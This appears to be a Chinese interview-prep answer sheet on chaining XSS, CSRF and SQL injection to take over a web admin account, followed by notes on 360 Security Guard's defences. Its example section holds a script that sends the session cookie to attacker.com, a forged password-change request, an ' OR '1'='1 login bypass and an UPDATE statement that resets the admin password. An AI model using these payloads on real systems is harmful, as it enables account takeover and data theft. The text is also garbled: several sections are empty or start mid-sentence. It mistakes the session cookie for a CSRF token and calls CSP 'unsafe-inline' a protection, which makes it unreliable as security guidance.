
1) 【一句话结论】通过XSS窃取CSRF令牌→CSRF伪造管理员操作→SQL注入获取数据库管理员权限的组合链,实现权限提升;360安全卫士通过CSRF Token验证、内容安全策略(CSP)、参数化查询等防御措施应对此类组合攻击。
2) 【原理/概念讲解】老师来解释关键漏洞原理:
3) 【对比与适用场景】
| 漏洞类型 | 定义 | 特性 | 使用场景 | 注意点 |
|---|---|---|---|---|
| XSS | 注入恶意脚本到网页,导致脚本在用户浏览器执行 | 可执行脚本、窃取用户会话、伪造请求 | 用户交互多的页面(如登录框、评论、搜索框) | 需用户访问包含漏洞的页面才触发 |
| CSRF | 伪造用户已认证的请求,绕过权限验证 | 需用户已登录目标网站 | 权限敏感操作(如修改密码、删除数据、管理员操作) | 需用户已登录且目标网站无CSRF防护 |
| SQL注入 | 通过输入构造恶意SQL语句,绕过输入验证,执行任意SQL操作 | 绕过验证、执行任意数据库命令 | 数据库驱动的页面(如登录、查询、管理后台) | 需存在未过滤的输入参数 |
4) 【示例】
<script>var token = document.cookie.replace(/.*JSESSIONID=([^;]*).*/,'$1');window.location='http://attacker.com?token='+token;</script>。用户访问该页面后,脚本执行,将CSRF令牌(如JSESSIONID)发送到攻击者服务器。POST /admin/changePassword HTTP/1.1,Host: target.com,Cookie: JSESSIONID=...(窃取的token),Content-Type: application/x-www-form-urlencoded,newPassword=...。由于请求中包含有效的CSRF令牌,服务器验证通过,执行密码修改(绕过权限验证)。' OR '1'='1,密码框输入任意值。服务器执行查询:SELECT * FROM admin WHERE username='' OR '1'='1' AND password='...',结果为真,返回管理员信息(或构造更精准的语句,如 SELECT * FROM admin WHERE username='admin' 获取管理员账户,或 UPDATE admin SET password='newpass' WHERE username='admin' 提升权限)。5) 【面试口播版答案】
面试官您好,针对Web应用漏洞利用链,我设计了一个包含XSS、CSRF、SQL注入的组合攻击链,目标是获取管理员权限。具体来说,首先通过XSS漏洞注入恶意脚本,窃取用户已登录的CSRF令牌(如JSESSIONID),这是后续CSRF伪造的前提;然后利用CSRF伪造用户请求,绕过权限验证执行管理员权限操作(比如修改密码);最后结合SQL注入漏洞,在登录环节构造恶意SQL语句,绕过验证获取管理员账户信息或提升权限。对于360安全卫士的防御,它通过多维度防护:XSS方面采用脚本过滤和内容安全策略(CSP)拦截恶意脚本,比如配置script-src 'self' 'unsafe-inline'允许本域内inline脚本;CSRF方面设置CSRF Token验证,基于会话ID生成Token并存储在Cookie中,请求时通过请求头与Cookie匹配验证;SQL注入方面通过输入验证、参数化查询等技术防止恶意SQL执行。这些措施能有效抵御此类组合攻击。
6) 【追问清单】
HttpOnly属性),请求时通过请求头中的Token与Cookie中的Token匹配验证,确保请求来自合法会话。script-src 'self' 'unsafe-inline'(允许本域内inline脚本,同时允许外部脚本)或script-src 'self'(仅允许本域外部脚本,需配合服务器端脚本过滤),结合拦截恶意inline脚本。'编码为%27)、字符转义(如将'替换为'),或利用WAF配置错误(如未过滤特殊字符、对SQL注入特征过滤不全面),结合XSS和CSRF绕过权限后执行SQL注入。SELECT * FROM admin WHERE username='admin' AND password='newpass'(查询管理员密码),或利用权限提升的语句(如UPDATE admin SET password='newpass' WHERE username='admin'),结合XSS窃取的权限信息或CSRF伪造的操作,确保SQL语句执行后能获取管理员权限。7) 【常见坑/雷区】